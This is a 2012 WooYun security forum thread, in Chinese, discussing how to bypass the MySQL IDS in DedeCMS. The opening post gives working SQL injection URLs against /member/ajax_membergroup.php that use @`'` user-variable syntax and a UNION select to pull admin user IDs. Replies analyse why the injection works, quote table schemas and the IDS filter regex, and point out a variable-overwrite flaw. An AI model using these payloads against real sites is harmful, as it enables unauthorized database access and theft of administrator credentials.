当前位置:WooYun(白帽子技术社区) >> php >> 讨论下ids的绕过

讨论下ids的绕过

Jannock (what?) | 2012-04-29 10:48

自从知道dedecms自带了80sec的内置Mysqlids后,一直以来也没有想到绕过的办法。或者是自己mysql的根底太差了吧。于是分析dedecms源码时,只找模板执行,本地包含,上传等,完全没有想到注入存在的可能性了。
可以看看某牛的很久以前的分析
http://www.oldjun.com/blog/index.php/archives/66/(其中:80sec的内置Mysqlids可能的绕过方法)
之前也看过,感觉也是同意的。
但今天看到dede再暴漏洞,居然存在注入?
文章在这里:http://www.sa666.com/thread-25247-1-1.html

注入关键地方:/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select userid from `%23@__admin` where 1 or id=@`'`

最终执行语句是:
SELECT groupname FROM dede_member_group WHERE mid = 0 AND id=@`\'` Union select userid from `dede_admin` where 1 or id=@`\'` LIMIT 0,1;

关键是:@`'`  这个
一直以为 反引号 只用于字段表等特殊地方,但没想到还可以用于值的,于是就顺理绕过了IDS的检测,在IDS中变成:select groupname from dede_member_group where mid = 0 and id=@`\$s$` limit 0,1。

如果执行:select * from table where id=`8` 会出错。
但执行:select * from table where id=@`8` 即正常,但没查出数据。
即这个值“@`8`”不是简单的值 8 那是什么值呢?
mysql> select @`8`;
+------+
| @`8` |
+------+
| NULL |
+------+
1 row in set (0.00 sec)

据我所知,这个@是由用户声明的局部变量。估计就是把整个值当为整个变量吧?
不知想法对不对。有对mysql了解的可以来解释一下。

至于有人说为什么会有些出现:Safe Alert: Request Error step 2!
这是由于dedecms的另一个问题了,这里就不多说,和GPC有关,可以下面语句绕过:
/member/ajax_membergroup.php?action=post&membergroup=@`\'` Union select userid from `%23@__admin` where 1 or id=@`\'`

IDS的防和绕过一直在斗争着。
在Discuz! 中,IDS也起到了很大作用,从前面的 /*!*/ 绕过和 union all等绕过,到现在的修复。
大家还有什么IDS的绕过技巧或案例可以分享的么?^-^


分享到:
  1. 1#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-04-29 11:44

    最美好的ids是模拟mysql的解析语法,因为那样完全站在mysql层面进行处理,自然不会有问题,php层模拟mysql的语法解析难点就在于可能有种种的差异性,80sec的ids问题在于对于字符串的识别处理完全是用''和""来实现的,所以字符集类的问题就很容易绕过

  2. 2#
    回复此人 感谢
    horseluke (微碌) | 2012-04-29 20:59

    个人觉得,绕过dedecms的关键似乎在于前面dede团队自行添加的代码引发的。至于后面的@,其实目的不是为了赋值,而是要利用SQL语句的操作符优先级存废SQL达到自己的目的(不得不说,高明)。拆分整句SQL来看:

    (SELECT groupname FROM dede_member_group WHERE (mid = 0 AND id=@`\'`)) ->and和@直接废掉这句SQL
        Union
    (select userid from `dede_admin` where (1 or id=@`\'`) LIMIT 0,1);  -> or导致条件成立,而且仅取1行

    相关的可看这个漏洞,一样的道理(内含调试方法):WooYun: 汉庭连锁酒店后台SQL注入

  3. 3#
    回复此人 感谢
    horseluke (微碌) | 2012-04-29 21:08

    上述说法前面部分搞错了,即使没有dede团队自行添加的代码,应该也是可以绕过的,其余分析仍然有效。
    不过这问题倒让我想起修漏洞集合mysqlids的时候,由于部分程序员采用了双引号包围SQL变量导致被拦截的问题,最后不得不屈尊降低其安全防护级别的事情。估计降级的代码也存在相关的问题。
    PS:回家没环境调试真是悲剧。

  4. 4#
    回复此人 感谢
    rayh4c | 2012-04-29 23:01

    @horseluke DESC下,看看id这个字段是啥类型。

  5. 5#
    回复此人 感谢
    horseluke (微碌) | 2012-04-29 23:10

    @rayh4c 仅看dedecms 5.7的安装sql,应该是int:

    CREATE TABLE `#@__admin` (
      `id` int(10) unsigned NOT NULL,
      `usertype` float unsigned default '0',
      `userid` char(30) NOT NULL default '',
      `pwd` char(32) NOT NULL default '',
      `uname` char(20) NOT NULL default '',
      `tname` char(30) NOT NULL default '',
      `email` char(30) NOT NULL default '',
      `typeid` text,
      `logintime` int(10) unsigned NOT NULL default '0',
      `loginip` varchar(20) NOT NULL default '',
      PRIMARY KEY  (`id`)
    ) TYPE=MyISAM;


    CREATE TABLE `#@__member_group` (
      `id` int(10) NOT NULL auto_increment,
      `groupname` varchar(50) NOT NULL,
      `mid` int(8) NOT NULL,
      PRIMARY KEY  (`id`),
      KEY `id` (`id`)
    ) TYPE=MyISAM;

  6. 6#
    回复此人 感谢
    rayh4c | 2012-04-29 23:15

    @变量名较松散,除开一些语法符号外都能做变量名。

  7. 7#
    回复此人 感谢
    Jannock (what?) | 2012-04-30 09:52

    主要是这个值:@``  东西能赋值,而ids没考虑到,所以绕过了。。

  8. 8#
    回复此人 感谢
    GaRY | 2012-04-30 20:00

    nice trick,其实这种语法上的小东西一个个找到然后认真研究起来,也蛮好玩的。方法是一通百通的东西,关键是后续碰到类似的问题,得想到用这种方式绕。这得废点功夫培养一下思维

  9. 9#
    回复此人 感谢
    horseluke (微碌) | 2012-05-01 13:54

    @rayh4c 查了查mysql 5.1手册,在中文版“9.3. 用户变量”中有如下描述:http://dev.mysql.com/doc/refman/5.1/zh/language-structure.html#variables

    =============
    用户变量的形式为@var_name,其中变量名var_name可以由当前字符集的文字数字字符、‘.’、‘_’和‘$’组成。 默认字符集是cp1252 (Latin1)。可以用mysqld的--default-character-set选项更改字符集。参见5.10.1节,“数据和排序用字符集”。用户变量名对大小写不敏感。
    =============

    无法解答疑问,翻英文手册:http://dev.mysql.com/doc/refman/5.1/en/user-variables.html
    =============
    User variables are written as @var_name, where the variable name var_name consists of alphanumeric characters, “.”, “_”, and “$”. A user variable name can contain other characters if you quote it as a string or identifier (for example, @'my-var', @"my-var", or @`my-var`).

    User variable names are not case sensitive in MySQL 5.0 and up.
    =============

    坑爹啊!两者都有重要信息被互相遗漏。以后翻查mysql手册岂不是要中英同查?!

  10. 10#
    回复此人 感谢
    Jannock (what?) | 2012-05-01 19:29

    嘻嘻。。。翻译得太烂了。。

  11. 11#
    回复此人 感谢
    horseluke (微碌) | 2012-05-02 12:28

    @Jannock 不完全是翻译问题,因为中文版本没有指明引号包含下可指定其它字符,英文版本则没有指明字符集问题。少看一个,都不成。
    风中凌乱了......

  12. 12#
    回复此人 感谢
    Vi0lent (刀塔毁一生,网游穷三代,欲成高富帅,必先打AI) | 2012-05-02 22:39

    看半天了才看懂,表示压力很大...

  13. 13#
    回复此人 感谢
    possible (everything is possible) | 2012-05-03 08:53

    看了半天也没看懂 操作了一下 才懂点,还求楼主讲讲 dede的gpc是怎么操作的,为什么在dede下 addslashes 函数会将单引号转换成'',而没有找到在什么地方转换回来的?先谢谢楼主 谢谢  

  14. 14#
    回复此人 感谢
    Jannock (what?) | 2012-05-03 08:58

    请看看文件:include/filter.inc.php
    这是2B的dede再次变量覆盖漏洞根源。。

  15. 15#
    回复此人 感谢
    possible (everything is possible) | 2012-05-03 09:33

    @Jannock 输出filter.inc.php中的变量cfg_replacestr 居然是“她妈|它妈|他妈|你妈|去死|贱人”
    可能我下的版本是原来带有后门的版本 无语了

  16. 16#
    回复此人 感谢
    Jannock (what?) | 2012-05-03 09:47

    这是过滤或替换非法关键字。正常的。
    主要是下面的
    /* 对_GET,_POST,_COOKIE进行过滤 */
    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v)
        {
            ${$_k} = _FilterAll($_k,$_v);
        }
    }

    等同于重新赋值了,之前做的过滤无效了。

  17. 17#
    回复此人 感谢
    possible (everything is possible) | 2012-05-03 16:42

    @Jannock 哦 谢谢 大神  

  18. 18#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2012-06-03 12:07

    @Jannock 不知不觉的你又发布了个dede新变量覆盖漏洞 开始的变量覆盖 到 cookies的变量覆盖到_FilterAll的覆盖 一哥你真是传说~!!!!!!!

  19. 19#
    回复此人 感谢
    西毒 | 2012-11-01 00:16

    @horseluke
    你是说 (SELECT groupname FROM dede_member_group WHERE (mid = 0 AND id=@`\'`)) ->and和@直接废掉这句SQL
        Union
    (select userid from `dede_admin` where (1 or id=@`\'`) LIMIT 0,1);  -> or导致条件成立,而且仅取1行
    这里的话,然后这里的where (1 or id=@`\'`)就应该可以不要了吧,直接就变成了 Union
    (select userid from `dede_admin` limit 0,1   不知道对否?

  20. 20#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-11-01 00:21

    今天听@Ray 说,"就可以把ids给绕了,的确....

  21. 21#
    回复此人 感谢
    西毒 | 2012-11-01 00:37

    @Jannock
    惊险变量覆盖啊,哈哈....学习了

  22. 22#
    回复此人 感谢
    西毒 | 2012-11-01 16:11

    弄了一天,终于懂了,他这里只要来2个单引号,就把这个mysqlids给绕过了,其他的@`kk`这个就靠你积累来的知识了,呵呵  这个ids还是不是很完善啊,因为他对2个单引号里面的东西就不处理了...呵呵

  23. 23#
    回复此人 感谢
    saber (终极屌丝之路~) | 2012-11-01 17:20

    好吧。学了点新东西~

  24. 24#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2012-11-21 00:39

    @西毒  小铸路过 看见大牛哈哈。 这是我wooyun马甲多多指教。

  25. 25#
    回复此人 感谢
    西毒 | 2012-11-28 01:08

    @_Evil 晴天小铸么?  我是小菜.....稍微懂一点

  26. 26#
    回复此人 感谢
    鬼哥 | 2012-12-31 16:37

    @Jannock 刚看了下dede  step 2过了但是 step 1过不了。
                $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

                if(preg_match("/".$notallow1."/i", $db_string))
    union 始终过不了。

  27. 27#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2013-02-07 22:29

    @鬼哥 求过的exp

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录